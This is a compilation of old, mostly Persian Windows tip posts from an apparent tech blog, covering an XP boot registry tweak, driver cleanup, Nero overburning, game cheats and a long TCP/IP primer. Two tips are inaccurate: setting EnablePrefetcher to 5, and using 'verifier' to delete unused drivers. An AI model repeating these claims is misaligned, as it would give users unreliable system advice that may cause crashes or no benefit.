How can I make Windows XP boot faster

You can make Windows XP boot faster by 5 - 15 seconds on some machines

 

To do so do the following

Start Registry Editor Regedit.exe

Locate the following key in the registryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters

Make sure you backup the keys by exporting them to a .reg file

On the EnablePrefetcher value, change the setting from 3 to 5 decimal

Close the registry editor

Restart your computer

حذف کردن فايلهای درايور غير فعال و معيوب و ... : ( ويندوز XP )

در ويندوز XP برنامه ای وجود دارد که به شما اين امکان را ميدهد تا درايور های سخت افزارهايتان را مديريت کنيد. به کمک اين برنامه شما ميتوانيد درايورهای معيوب و يا قديمی و يا بدون مصرف را از سيستمتان پاک کنيد و يا آنها را تعويض کنيد.

 

 خيلی از کاربران ویندوز تصور ميکنند که وقتی يک درايور جديد برای سخت افزارشان پيدا ميکنند با نصب آن ٬ درايورهای قبلی  پاک مي شود. ( Uninstal ) , بعبارتی فکر می کنند درايورهای قديمی کاملا از روی سيستمشان پاک ميشود. در صورتی که اين طور نيست و همواره چند فايل درايور در سيستم نگهداری ميشود که ممکن است اصلا بدرد بخور هم نباشند.

 در هر حال قبل از نصب درايورهای جديد بهتر است از اين امکان ويندوز XP استفاده کنيد. برای اجرای اين برنامه فقط کافی است در Run تايپ کنيد verifier و بعد Enter بزنيد ٬ بقیه مراحل کار زیاد سخت نیست ٬ با برنامه همراه شوید و اگر حرفه ای نیستید با گزینه های پیش فرض را که انتخاب شده به قسمت های بعدی برنامه بروید .

در آخر برنامه فوق درايور های بلا استفاده را یافته و از سیستم شما پاک میکند و در آخر هم سیستم شما  ریست (RESET ) میشود.

ذخیره فایل های بروز رسان ویندوز

اگر از آن دسته کاربرانی هستید که به بروز بودن ویندوزشان اهمیت می دهند احتمالا را برای ویندوزتان فعال کرده اید. همان طور که می دانید در بروز رسانی اتوماتیک ویندوز نصب patch ها توسط خود نرم افزار بروز رسان انجام می گیرد.

 اگر ویندوز خود را مجددا نصب کنید باید تمام آن بروز رسانی ها را دوباره انجام دهید. تا به حال فکر کرده اید که فایل های setup مربوط به این patch ها کجا نگهداری می شود؟ اگر آن ها را پیدا کنید بعدا هم هر موقع که بخواهید می توانید آنها را نصب کنید یا از روی سیستم بردارید. به درایوی که ویندوز را در آن نصب کرده اید بروید و مسیر زیر را دنبال کنید : WINDOWS\SoftwareDistribution\Download  داخل هر یک از پوشه ها فایل setup یکی از patch ها را با نام update.exe خواهید یافت.

اگر روش دیگری برای انجام این کار می شناسید لطفا به من هم بگویید.

c#

نكته: هنگام اضافه كردن كنترل  notifyicon1    ايكون اضافه شده در نوار وظيفه ويندوز پس از اجرا نمايش داده ميشود.

گاهي لازم است حتي از قرار گيري فرم در نوار وظيفه جلوگيري كنيم .به عنوان مثال اگر يك برنامه كاربردي داراي تعدادي پنجره باشد كه به صورت شناور روي فرم اصلي قرار گرفته باشند در حالي كه فرم اصلي در نوار وظيفه  قرار داشته باشد امكانندارد به اين پنجره ها دسترسي داشته باشيد براي جلوگيري از قرار گرفتن فرم در نوار وظيفه در قسمت properties  فرم گزينه showin taskbar را  false  كنيد. در نتيجه اگر كاربر چنين فرمي را مينيمم كند ميتواند بافشار alt+tab به برنامه دسترسي پيدا كند.

 

ميخواهيم متدي بنويسيم كه اعمال زير راانجام دهد:

1)با كليك روي ايكون در نوار وظيفه فرم را minimize  كند .اگر minimize بودانرا به حالت normal   وگرنه maximize كند.
 

برای دریافت متن کامل اینجا را کلیک نمایید.

 

اموزش یک برنامه فورمی ویندوز با # C

در اين پست و پست هاي اتي تصميم دارم چند تا اپليكيشن با استفاده از كدهاي c#   به شما اموزش بدم كه البته مربوط ميشه به فورم هاي ويندوز. و در محيط

 نوشته شده است.Visual Studio.Net

اين مطلب بيشتر به درد كسايي ميخوره كه تا حدودي به  اين زبان اشنايي داشته باشند.

 

رايت 1 گيگابايت برروي Cd

برنامه نرو را باز كرده منظور (nero Express) است.
2.data را انتخاب كرده واز منوي داخل آنData disc را انتخاب ميكنيد.
3.more را انتخاب ميكنيد بعد configure
4.در صفحه جديد در General به بخش status bar رفته و Red marker را از80
به 120 افزايش دهيد (در نرو 6.6 احتياج ندارد)
5.در صفحهconfigure اين را انتخاب ميكنيد expert Features
6.در اين صفحه در بخش overburning اين گزينه را فعال كنيد Enable Disc-at-on CD overburning
7.و نير maximum CD siz را از 80 به 150 يا 120 تغیير دهيد.
8.اگر نرو 6.6 داريد اين گزينه ها را فعال كنيد1.enable dvd overburning و
2.enable generation of short lead-out
9.بعد اوكي كرده بيرون مي آيیم
10.مقدار دلخواه add كرده وnext ميكيم
11.در اين بخش باز هم به more ميرويم و write method را از track-at-once به
disk-at-once تغیير ميدهيد.
12.حالا  رايت كنید.

البته این کارو به تعداد دفعات زیاد انجام ندید چون به writer فشار میاره.

واژه‌نامه تلفن‌های همراه

اين روزها بحث تلفن‌هاي همراه بسيار داغ شده است و اغلب مجلات تخصصي و غير‌تخصصي مرتبط با IT و حتي بسياري از مجلات عمومي و اجتماعي هم به نوعي به اين مبحث پرداخته‌اند. دسته‌اي از اين مجلات هم يك بخش خاص را به پرسش و پاسخ و رفع اشكال كاربران اين نوع تلفن‌ها ا‌ختصاص داده‌اند. همچنين بيشتر انجمن‌هاي اينترنتي كه تا مدتي قبل مملو از كاربران خاص IT بودند، اين روزها پر از كاربران عادي تلفن‌هاي همراه شده‌اند كه براي پيدا كردن يك نرم‌افزار يا كد‌هاي مخفي، در اين‌گونه انجمن‌ها عضو مي‌شوند. با كمي دقت در نوشته‌ها و خواسته‌هاي اين كاربران و پاسخ‌هايي كه از سوي كاربران حرفه‌اي‌تر دريافت مي‌كنند مي‌توان به يك نكته مهم پي برد و آن اين‌كه اغلب پاسخ‌ها بيش از اندازه تخصصي هستند. به عنوان مثال، يك كاربر عادي سؤال مي‌كند كه چرا تلفن همراه من در يك كشور خارجي از كار مي‌افتد؟

دریافت کامل مقاله واژه نامه تلفن های همراه

راز و رمزهای بازی های موجود در ویندوز

حتما شما نیز به مانند تمامی کاربران ویندوز ، برای یکبار هم که شده بازی های موجود در ویندوز را دیده اید. این بازی ها به طور پیش فرض در تمامی نسخه های ویندوز نصب میشوند. این بازی ها که شاید به ظاهر بسیار ساده به نظر برسند ، همانند بازیهای معروف دیگر ، پر از رمز و راز هستند! در این ترفند قصد داریم به معرفی رمزهای بازی هایSolitaire ، Pinball ، Minesweeper ، FreeCell بپردازیم.

برای اجرای بازی های زیر در ویندوز XP به Start > Games بروید. در سایر ویندوز ها به Start > Accesories > Games بروید.

بازی FreeCell

1- پس از اجرای بازی ، 3 کلید Ctrl+Shift+Alt را همزمان فشار دهید. سوالی از شما پرسیده میشود که از میان گزینه ها Abort را انتخاب کنید. اکنون کافی است هر کارتی را که میخواهید حرکت دهید تا پیروز میدان شوید!

2- پس از اجرای بازی ، از منوی Game روی Select Game کلیک کنید. حالا در پنجره کوچک باز شده دو عدد 1- و 2- را وارد کنید حالت های مخفی بازی نیز افزوده شود.

بازی Minesweeper

1- برای استفاده از رمز این بازی ابتدا تمامی برنامه های اجرایی را Minimize کنید یا کلأ ببندید. سپس بازی را اجرا نمایید. اکنون عبارت " xyzzy " را بدون علامت " تایپ نمایید.
سپس دو کلید Shift+Enter را همزمان فشار دهید. اکنون در صورتی که موس را روی دایره های کوچک بازی که داخلش مین وجود دارد حرکت دهید ، در گوشه بالای سمت چپ صفحه دسکتاپ ، یک پیکسلی ظاهر میشود. هر گاه پیکسل سفید باشد یعنی آن خانه مین ندارد و اگر سیاه شد یعنی حاوی مین است.

بازی Pinball

1- پس از اجرای بازی عبارت 1max را در بازی تایپ کنید تا توپ اضافی دریافت کنید.

2- پس از اجرای بازی عبارت gmax را در بازی تایپ کنید تا نیروی جاذبه را بالا ببرید.

3- پس از اجرای بازی عبارت rmax را در بازی تایپ کنید تا امتیاز خود را بالا ببرید.

4- پس از اجرای بازی عبارت hidden test را در بازی تایپ کنید تا حالت تست بازی را فعال کنید. پس از فعال شدن این حالت اخطاری را دریافت نمیکنید و میتوانید با استفاده از موس توپ را جابجا کنید.

5- پس از اجرای بازی عبارت bmax را تایپ کنید را در بازی تایپ کنید تا بازی را با یک توپ جدید شروع کنید. پس از فعال شدن این حالت اخطاری را دریافت نمیکنید ، پس از دست دادن یک توپ ، توپ جدیدی دریافت میکنید.

بازی Solitaire

1- پس از اجرای بازی 3 کلید Alt+Shift+2 را همزمان فشار دهید تا بلافاصله برنده بازی شوید!

2- پس از اجرای بازی 3 کلید Ctrl+Alt+Shift را همزمان نگه دارید ، با این کار در صورتی که 3 کارت را بیرون بکشید فقط یک کارت را بیرون کشیده اید!

ID یاهو خود را از حالت قفل در آورید

ساختار سایت یاهو به گونه ای بنا شده است که در صورتی که شما 32 بار پسورد یک آیدی را غلط وارد کنید آن آیدی تا 24 ساعت قفل میشود و به هیچ عنوان به امکان لوگین به آن وجود نداد. در این ترفند قصد داریم تا با استفاده از خود سایت یاهو این محدودیت زمانی را از بین ببریم و آیدی خودمان را که قفل شده است را از حالت قفل خارج نماییم. دقت فرمایید که آیدی باید برای خودمان باشد چرا که نیاز به وارد کردن پسورد آیدی است.

برای این کار:
کافی است که به نشانی زیر در سایت یاهو مراجعه کنید:
http://login.yahoo.com/config/login?.redir=ORION

حالا یوزر و پسورد آیدی مربوطه را وارد نمایید و روی دکمه Sign In کلیک کنید.

مفاهیم پروتکل TCP/IP در شبکه

پروتکل TCP/IP TCP/IP ، يکی از مهمترين پروتکل های استفاده شده در شبکه های کامپيوتری است . اينترنت بعنوان بزرگترين شبکه موجود ، از پروتکل فوق بمنظور ارتباط دستگاه های متفاوت استفاده می نمايد. پروتکل ، مجموعه قوانين لازم بمنظور قانونمند نمودن نحوه ارتباطات در شبکه های کامپيوتری است .در مجموعه مقالاتی که ارائه خواهد شد به بررسی اين پروتکل خواهيم پرداخت . در اين بخش مواردی همچون : فرآيند انتقال اطلاعات ، معرفی و تشريح لايه های پروتکل TCP/IP و نحوه استفاده از سوکت برای ايجاد تمايز در ارتباطات ، تشريح می گردد. مقدمه امروزه اکثر شبکه های کامپيوتری بزرگ و اغلب سيستم های عامل موجود از پروتکل TCP/IP ، استفاده و حمايت می نمايند. TCP/IP ، امکانات لازم بمنظور ارتباط سيستم های غيرمشابه را فراهم می آورد. از ويژگی های مهم پروتکل فوق ، می توان به مواردی همچون : قابليت اجراء بر روی محيط های متفاوت ، ضريب اطمينان بالا ،قابليت گسترش و توسعه آن ، اشاره کرد . از پروتکل فوق، بمنظور دستيابی به اينترنت و استفاده از سرويس های متنوع آن نظير وب و يا پست الکترونيکی استفاده می گردد. تنوع پروتکل های موجود در پشته TCP/IP و ارتباط منطقی و سيستماتيک آنها با يکديگر، امکان تحقق ارتباط در شبکه های کامپيوتری را با اهداف متفاوت ، فراهم می نمايد. فرآيند برقراری يک ارتباط ، شامل فعاليت های متعددی نظير : تبديل نام کامپيوتر به آدرس IP معادل ، مشخص نمودن موقعيت کامپيوتر مقصد ، بسته بندی اطلاعات ، آدرس دهی و روتينگ داده ها بمنظور ارسال موفقيت آميز به مقصد مورد نظر ، بوده که توسط مجموعه پروتکل های موجود در پشته TCP/IP انجام می گيرد. معرفی پروتکل TCP/IP TCP/IP ، پروتکلی استاندارد برای ارتباط کامپيوترهای موجود در يک شبکه مبتنی بر ويندوز 2000 است. از پروتکل فوق، بمنظور ارتباط در شبکه های بزرگ استفاده می گردد. برقراری ارتباط از طريق پروتکل های متعددی که در چهارلايه مجزا سازماندهی شده اند ، ميسر می گردد. هر يک از پروتکل های موجود در پشته TCP/IP ، دارای وظيفه ای خاص در اين زمينه ( برقراری ارتباط) می باشند . در زمان ايجاد يک ارتباط ، ممکن است در يک لحظه تعداد زيادی از برنامه ها ، با يکديگر ارتباط برقرار نمايند. TCP/IP ، دارای قابليت تفکيک و تمايز يک برنامه موجود بر روی يک کامپيوتر با ساير برنامه ها بوده و پس از دريافت داده ها از يک برنامه ، آنها را برای برنامه متناظر موجود بر روی کامپيوتر ديگر ارسال می نمايد. نحوه ارسال داده توسط پروتکل TCP/IP از محلی به محل ديگر ، با فرآيند ارسال يک نامه از شهری به شهر، قابل مقايسه است . برقراری ارتباط مبتنی بر TCP/IP ، با فعال شدن يک برنامه بر روی کامپيوتر مبدا آغاز می گردد . برنامه فوق ،داده های مورد نظر جهت ارسال را بگونه ای آماده و فرمت می نمايد که برای کامپيوتر مقصد قابل خواندن و استفاده باشند. ( مشابه نوشتن نامه با زبانی که دريافت کننده ، قادر به مطالعه آن باشد) . در ادامه آدرس کامپيوتر مقصد ، به داده های مربوطه اضافه می گردد ( مشابه آدرس گيرنده که بر روی يک نامه مشخص می گردد) . پس از انجام عمليات فوق ، داده بهمراه اطلاعات اضافی ( درخواستی برای تائيد دريافت در مقصد ) ، در طول شبکه بحرکت درآمده تا به مقصد مورد نظر برسد. عمليات فوق ، ارتباطی به محيط انتقال شبکه بمنظور انتقال اطلاعات نداشته ، و تحقق عمليات فوق با رويکردی مستقل نسبت به محيط انتقال ، انجام خواهد شد . لايه های پروتکل TCP/IP TCP/IP ، فرآيندهای لازم بمنظور برقراری ارتباط را سازماندهی و در اين راستا از پروتکل های متعددی در پشته TCP/IP استفاده می گردد. بمنظور افزايش کارآئی در تحقق فرآيند های مورد نظر، پروتکل ها در لايه های متفاوتی، سازماندهی شده اند . اطلاعات مربوط به آدرس دهی در انتها قرار گرفته و بدين ترتيب کامپيوترهای موجود در شبکه قادر به بررسی آن با سرعت مطلوب خواهند بود. در اين راستا، صرفا" کامپيوتری که بعنوان کامپيوتر مقصد معرفی شده است ، امکان باز نمودن بسته اطلاعاتی و انجام پردازش های لازم بر روی آن را دارا خواهد بود. TCP/IP ، از يک مدل ارتباطی چهار لايه بمنظور ارسال اطلاعات از محلی به محل ديگر استفاده می نمايد: Application ,Transport ,Internet و Network Interface ، لايه های موجود در پروتکل TCP/IP می باشند.هر يک از پروتکل های وابسته به پشته TCP/IP ، با توجه به رسالت خود ، در يکی از لايه های فوق، قرار می گيرند. لايه Application لايه Application ، بالاترين لايه در پشته TCP/IP است .تمامی برنامه و ابزارهای کاربردی در اين لايه ، با استفاده از لايه فوق، قادر به دستتيابی به شبکه خواهند بود. پروتکل های موجود در اين لايه بمنظور فرمت دهی و مبادله اطلاعات کاربران استفاده می گردند . HTTP و FTP دو نمونه از پروتکل ها ی موجود در اين لايه می باشند . پروتکل HTTP)Hypertext Transfer Protocol) . از پروتکل فوق ، بمنظور ارسال فايل های صفحات وب مربوط به وب ، استفاده می گردد . پروتکل FTP)File Transfer Protocol) . از پروتکل فوق برای ارسال و دريافت فايل، استفاده می گردد . لايه Transport لايه " حمل " ، قابليت ايجاد نظم و ترتيب و تضمين ارتباط بين کامپيوترها و ارسال داده به لايه Application ( لايه بالای خود) و يا لايه اينترنت ( لايه پايين خود) را بر عهده دارد. لايه فوق ، همچنين مشخصه منحصربفردی از برنامه ای که داده را عرضه نموده است ، مشخص می نمايد. اين لايه دارای دو پروتکل اساسی است که نحوه توزيع داده را کنترل می نمايند. TCP)Transmission Control Protocol) . پروتکل فوق ، مسئول تضمين صحت توزيع اطلاعات است . UDP)User Datagram Protocol) . پروتکل فوق ، امکان عرضه سريع اطلاعات بدون پذيرفتن مسئوليتی در رابطه با تضمين صحت توزيع اطلاعات را برعهده دارد . لايه اينترنت لايه "اينترنت"، مسئول آدرس دهی ، بسته بندی و روتينگ داده ها ، است. لايه فوق ، شامل چهار پروتکل اساسی است : IP)Internet Protocol) . پروتکل فوق ، مسئول آدرسی داده ها بمنظور ارسال به مقصد مورد نظر است . ARP)Address Resoulation Protocol) . پروتکل فوق ، مسئول مشخص نمودن آدرس MAC)Media Access Control) آداپتور شبکه بر روی کامپيوتر مقصد است. ICMP)Internet Control Message Protocol) . پروتکل فوق ، مسئول ارائه توابع عيب يابی و گزارش خطاء در صورت عدم توزيع صحيح اطلاعات است . IGMP)Internet Group Managemant Protocol) . پروتکل فوق ، مسئول مديريت Multicasting در TCP/IP را برعهده دارد. لايه Network Interface لايه " اينترفيس شبکه " ، مسئول استقرار داده بر روی محيط انتقال شبکه و دريافت داده از محيط انتقال شبکه است . لايه فوق ، شامل دستگاه های فيزيکی نظير کابل شبکه و آداپتورهای شبکه است . کارت شبکه ( آداپتور) دارای يک عدد دوازده رقمی مبنای شانزده ( نظير : B5-50-04-22-D4-66 ) بوده که آدرس MAC ، ناميده می شود. لايه " اينترفيس شبکه " ، شامل پروتکل های مبتنی بر نرم افزار مشابه لايه های قبل ، نمی باشد. پروتکل های Ethernet و ATM)Asynchronous Transfer Mode) ، نمونه هائی از پروتکل های موجود در اين لايه می باشند . پروتکل های فوق ، نحوه ارسال داده در شبکه را مشخص می نمايند. مشخص نمودن برنامه ها در شبکه های کامپيوتری ، برنامه ها ی متعددی در يک زمان با يکديگر مرتبط می گردند. زمانيکه چندين برنامه بر روی يک کامپيوتر فعال می گردند ، TCP/IP ، می بايست از روشی بمنظور تمايز يک برنامه از برنامه ديگر، استفاده نمايد. بدين منظور ، از يک سوکت ( Socket) بمنظور مشخص نمودن يک برنامه خاص ، استفاده می گردد. آدرس IP برقراری ارتباط در يک شبکه ، مستلزم مشخص شدن آدرس کامپيوترهای مبداء و مقصد است ( شرط اوليه بمنظور برقراری ارتباط بين دو نقطه ، مشخص بودن آدرس نقاط درگير در ارتباط است ) . آدرس هر يک از دستگاه های درگير در فرآيند ارتباط ، توسط يک عدد منحصربفرد که IP ناميده می شود ، مشخص می گردند. آدرس فوق به هريک از کامپيوترهای موجود در شبکه نسبت داده می شود . IP : 10. 10.1.1 ، نمونه ای در اين زمينه است . پورت TCP/UDP پورت مشخصه ای برای يک برنامه و در يک کامپيوتر خاص است .پورت با يکی از پروتکل های لايه "حمل" ( TCP و يا UDP ) مرتبط و پورت TCP و يا پورت UDP ، ناميده می شود. پورت می تواند عددی بين صفر تا 65535 را شامل شود. پورت ها برای برنامه های TCP/IP سمت سرويس دهنده ، بعنوان پورت های "شناخته شده " ناميده شده و به اعداد کمتر از 1024 ختم و رزو می شوند تا هيچگونه تعارض و برخوردی با ساير برنامه ها بوجود نيايد. مثلا" برنامه سرويس دهنده FTP از پورت TCP بيست و يا بيست ويک استفاده می نمايد. سوکت (Socket) سوکت ، ترکيبی از يک آدرس IP و پورت TCP ويا پورت UDP است . يک برنامه ، سوکتی را با مشخص نمودن آدرس IP مربوط به کامپيوتر و نوع سرويس ( TCP برای تضمين توزيع اطلاعات و يا UDP) و پورتی که نشاندهنده برنامه است، مشخص می نمايد. آدرس IP موجود در سوکت ، امکان آدرس دهی کامپيوتر مقصد را فراهم و پورت مربوطه ، برنامه ای را که داده ها برای آن ارسال می گردد را مشخص می نمايد. در بخش دوم اين مقاله به تشريح هر يک از پروتکل های موجود در پشته TCP/IP، خواهيم پرداخت . TCP/IP ،شامل شش پروتکل اساسی( TCP,UDP,IP,ICMP,IGMP ،ARP ) و مجموعه ای از برنامه های کاربردی است. پروتکل های فوق، مجموعه ای از استادنداردها ی لازم بمنظور ارتباط بين کامپيوترها و دستگاهها را در شبکه ، فراهم می نمايد. تمامی برنامه ها و ساير پروتکل ها ی موجود در پروتکل TCP/IP ، به پروتکل های شش گانه فوق مرتبط و از خدمات ارائه شده توسط آنان استفاده می نمايند . در ادامه به تشريح عملکرد و جايگاه هر يک از پروتکل های اشاره شده ، خواهيم پرداخت . پروتکل TCP : لايه Transport TCP) Transmission Control Protocol) ، يکی از پروتکل های استاندارد TCP/IP است که امکان توزيع و عرضه اطلاعات ( سرويس ها) بين صرفا" دو کامپيوتر ، با ضريب اعتماد بالا را فراهم می نمايد. چنين ارتباطی ( صرفا" بين دو نقطه ) ، Unicast ناميده می شود . در ارتباطات با رويکرد اتصال گرا ، می بايست قبل از ارسال داده ، ارتباط بين دو کامپيوتر برقرار گردد . پس از برقراری ارتباط ، امکان ارسال اطلاعات برای صرفا" اتصال ايجاد شده ، فراهم می گردد . ارتباطات از اين نوع ، بسيار مطمئن می باشند ، علت اين امر به تضمين توزيع اطلاعات برای مقصد مورد نظر برمی گردد . بر روی کامپيوتر مبداء ، TCP داده هائی که می بايست ارسال گردند را در بسته های اطلاعاتی (Packet) سازماندهی می نمايد. در کامپيوتر مقصد ، TCP ، بسته های اطلاعاتی را تشخيص و داده های اوليه را مجددا" ايجاد خواهد کرد . ارسال اطلاعات با استفاده از TCP TCP ، بمنظور افزايش کارائی ، بسته های اطلاعاتی را بصورت گروهی ارسال می نمايد . TCP ، يک عدد سريال ( موقعيت يک بسته اطلاعاتی نسبت به تمام بسته اطلاعاتی ارسالی ) را به هريک از بسته ها نسبت داده و از Acknowledgment بمنظور اطمينان از دريافت گروهی از بسته های اطلاعاتی ارسال شده ، استفاده می نمايد. در صورتيکه کامپيوتر مقصد ، در مدت زمان مشخصی نسبت به اعلام وصول بسته های اطلاعاتی ، اقدام ننمايد ، کامپيوتر مبداء ، مجددا" اقدام به ارسال اطلاعات می نمايد. علاوه برافزودن يک دنباله عددی و Acknowledgment به يک بسته اطلاعاتی ، TCP اطلاعات مربوط به پورت مرتبط با برنامه ها ی مبداء و مقصد را نيز به بسته اطلاعاتی اضافه می نمايد. کامپيوتر مبداء ، از پورت کامپيوتر مقصد بمنظور هدايت صحيح بسته های اطلاعاتی به برنامه مناسب بر روی کامپيوتر مقصد ، استفاده می نمايد. کامپيوتر مقصد از پورت کامپيوتر مبداء بمنظور برگرداندن اطلاعات به برنامه ارسال کننده در کامپيوتر مبداء ، استفاده خواهد کرد . هر يک از کامپيوترهائی که تمايل به استفاده از پروتکل TCP بمنظور ارسال اطلاعات دارند ، می بايست قبل از مبادله اطلاعات ، يک اتصال بين خود ايجاد نمايند . اتصال فوق ، از نوع مجازی بوده و Session ناميده می شود .دو کامپيوتر درگير در ارتباط ، با استفاده از TCP و بکمک فرآيندی با نام : Three-Way handshake ، با يکديگر مرتبط و هر يک پايبند به رعايت اصول مشخص شده در الگوريتم مربوطه خواهند بود . فرآيند فوق ، در سه مرحله صورت می پذيرد : مرحله اول : کامپيوتر مبداء ، اتصال مربوطه را از طريق ارسال اطلاعات مربوط به Session ، مقداردهی اوليه می نمايد ( عدد مربوط به موقعيت يک بسته اطلاعاتی بين تمام بسته های اطلاعاتی و اندازه مربوط به بسته اطلاعاتی ) مرحله دوم : کامپيوتر مقصد ، به اطلاعات Session ارسال شده ، پاسخ مناسب را خواهد داد . کامپيوتر مبداء ، از شرح واقعه بکمک Acknowledgment ارسال شده توسط کامپيوتر مقصد ، آگاهی پيدا خواهد کرد . پروتکل UDP : لايه Transport UDP) User Datagram Protocol ) ، پروتکلی در سطح لايه "حمل" بوده که برنامه مقصد در شبکه را مشخص نموده و از نوع بدون اتصال است . پروتکل فوق، امکان توزيع اطلاعات با سرعت مناسب را ارائه ولی در رابطه با تضمين صحت ارسال اطلاعات ، سطح مطلوبی از اطمينان را بوجود نمی آورد . UDP در رابطه با داده های دريافتی توسط مقصد ، به Acknowledgment نيازی نداشته و در صورت بروز اشکال و يا خرابی در داده های ارسال شده ، تلاش مضاعفی بمنظور ارسال مجدد داده ها ، انجام نخواهد شد . اين بدان معنی است که داده هائی کمتر ارسال می گردد ولی هيچيک از داده های دريافتی و صحت تسلسل بسته های اطلاعاتی ، تضمين نمی گردد .از پروتکل فوق ، بمنظور انتقال اطلاعات به چندين کامپيوتر با استفاده از Broadcast و يا Multicast ، استفاده بعمل می آيد . پروتکل UDP ، در موارديکه حجم اندکی از اطلاعات ارسال و يا اطلاعات دارای اهميت بالائی نمی بانشد ، نيز استفاده می گردد. استفاده از پروتکل UDP در مواردی همچون Multicasting Streaming media ، (نظير يک ويدئو کنفرانس زنده) و يا انتشار ليستی از اسامی کامپيوترها که بمنظور ارتباطات محلی استفاده می گردند ، متداول است . بمنظور استفاده از UDP ، برنامه مبداء می بايست پورت UDP خود را مشخص نمايد دقيقا" مشابه عملياتی که می بايست کامپيوتر مقصد انجام دهد . لازم به يادآوری است که پورت های UDP از پورت های TCP مجزا و متمايز می باشند (حتی اگر دارای شماره پورت يکسان باشند ). پروتکل IP : لايه Internet IP) Internet Protocol ) ، امکان مشخص نمودن محل کامپيوتر مقصد در يک شبکه ارتباطی را فراهم می نمايد. IP ، يک پروتکل بدون اتصال و غيرمطمئن بوده که اولين مسئوليت آن آدرس دهی بسته های اطلاعاتی و روتينگ بين کامپيوترهای موجود در شبکه است . با اينکه IP همواره سعی در توزيع يک بسته اطلاعاتی می نمايد ، ممکن است يک بسته اطلاعاتی در زمان ارسال گرفتار مسائل متعددی نظير : گم شدن ، خرابی ، عدم توزيع با اولويت مناسب ، تکرار در ارسال و يا تاخير، گردند.در چنين مواردی ، پروتکل IP تلاشی بمنظور حل مشکلات فوق را انجام نخواهد داد ( ارسال مجدد اطلاعات درخواستی ) .آگاهی از وصول بسته اطلاعاتی در مقصد و بازيافت بسته های اطلاعاتی گم شده ، مسئوليتی است که بر عهده يک لايه بالاتر نظير TCP و يا برنامه ارسال کننده اطلاعات ، واگذار می گردد . عمليات انجام شده توسط IP می توان IP را بعنوان مکانی در نظر گرفت که عمليات مرتب سازی و توزيع بسته های اطلاعاتی در آن محل ، صورت می پذيرد .بسته ها ی اطلاعاتی توسط يکی از پروتکل های لايه حمل ( TCP و يا UDP) و يا از طريق لايه " ايترفيس شبکه " ، برای IP ارسال می گردند . اولين وظيفه IP ، روتينگ بسته های اطلاعاتی بمنظور ارسال به مقصد نهائی است . هر بسته اطلاعاتی ، شامل آدرس IP مبداء ( فرستنده ) و آدرس IP مقصد ( گيرنده ) می باشد. در صورتيکه IP ، آدرس مقصدی را مشخص نمايد که در همان سگمنت موجود باشد ، بسته اطلاعاتی مستقيما" برای کامپيوتر مورد نظر ارسال می گردد . در صورتيکه آدرس مقصد در همان سگمنت نباشد ، IP ، می بايست از يک روتر استفاده و اطلاعات را برای آن ارسال نمايد.يکی ديگر از وظايف IP ، ايجاد اطمينان از عدم وجود يک بسته اطلاعاتی ( بلاتکليف ! ) در شبکه است . بدين منظور محدوديت زمانی خاصی در رابطه با مدت زمان حرکت بسته اطلاعاتی در طول شبکه ، در نظر گرفته می شود .عمليات فوق، توسط نسبت دادن يک مقدار TTL)Time To Live) به هر يک از بسته های اطلاعاتی صورت می پذيرد. TTL ، حداکثر مدت زمانی را که بسته اطلاعاتی قادر به حرکت در طول شبکه است را مشخص می نمايد( قبل از اينکه بسته اطلاعاتی کنار گذاشته شود) . پروتکل ICMP : لايه Internet ICMP) Internet Control Message Protocol) ، امکانات لازم در خصوص اشکال زدائی و گزارش خطاء در رابطه با بسته های اطلاعاتی غيرقابل توزيع را فراهم می نمايد. با استفاده از ICMP ، کامپيوترها و روترها که از IP بمنظور ارتباطات استفاده می نمايند ، قادر به گزارش خطاء و مبادله اطلاعاتی محدود در رابطه وضعيت بوجود آمده می باشند. مثلا" در صورتيکه IP ، قادر به توزيع يک بسته اطلاعاتی به مقصد مورد نظر نباشد ، ICMP يک پيام مبتنی بر غيرقابل دسترس بودن را برای کامپيوتر مبداء ارسال می دارد . با اينکه پروتکل IP بمنظور انتقال داده بين روترهای متعدد استفاده می گردد ، ولی ICMP به نمايندگی از TCP/IP ، مسئول ارائه گزارش خطاء و يا پيام های کنترلی است . تلاش ICMP ، در اين جهت نيست که پروتکل IP را بعنوان يک پروتکل مطمئن مطرح نمايد ، چون پيام های ICMP دارای هيچگونه محتوياتی مبنی بر اعلام وصول پيام (Acknowledgment ) بسته اطلاعاتی نمی باشند . ICMP ، صرفا" سعی در گزارش خطاء و ارائه فيدبک های لازم در رابطه با تحقق يک وضعيت خاص را می نمايد . پروتکل IGMP : لايه Internet IGMP) Internet Group Managment Protocol) ، پروتکلی است که مديريت ليست اعضاء برای IP Multicasting ، در يک شبکه TCP/IP را بر عهده دارد . IP Multicasting، فرآيندی است که بر اساس آن يک پيام برای گروهی انتخاب شده از گيرندگان که گروه multicat ناميده می شوند ؛ ارسال می گردد . IGMP ليست اعضاء را نگهداری می نمايد . پروتکل ARP : لايه Internet ARP) Address Resolution Protocol) ، پروتکلی است که مسئوليت مسئله " نام به آدرس" را در رابطه با بسته های اطلاعاتی خروجی (Outgoing) ، برعهده دارد . ماحصل فرآيند فوق ، Mapping آدرس IP به آدرسMAC )Media Access Control) ، مربوطه است . کارت شبکه از آدرس MAC ، بمنظور تشخيص تعلق يک بسته اطلاعاتی به کامپيوتر مربوطه ، استفاده می نمايند . بدون آدرس های MAC ، کارت های شبکه ، دانش لازم در خصوص ارسال بسته های اطلاعاتی به لايه بالاتر بمنظور پردازش های مربوطه را دارا نخواهند بود . همزمان با رسيدن بسته های اطلاعاتی به لايه IP بمنظور ارسال در شبکه ، آدرس های MAC مبداء و مقصد به آن اضافه می گردد . ARP ، از جدولی خاص بمنظور ذخيره سازی آدرس های IP و MAC مربوطه ، استفاده می نمايد. محلی از حافظه که جدول فوق در آنجا ذخيره می گردد ، ARP Cache ناميده می شود. ARP Cache هر کامپيوتر شامل mapping لازم برای کامپيوترها و روترهائی است که صرفا" بر روی يک سگمنت مشابه قرار دارند.

بعد از یه مدت!!!

سلام

خوب یه مدت به خاطر امتحانا!!! نبودم که البته راستش هیچ ربطی به این موضوع نداشت ولی خوب مهم اینه که اومدم.

از عزیزانی که تو این مدت نظر دادن و همینطور تقاضای تبادل لینک داشتن و من نتونستم جواب بدم هم عذر میخوام.

فعلا برای شروع...

 مفهوم Port و کمي از پروتکل Telnet :

آموزش هک-قسمت آخر

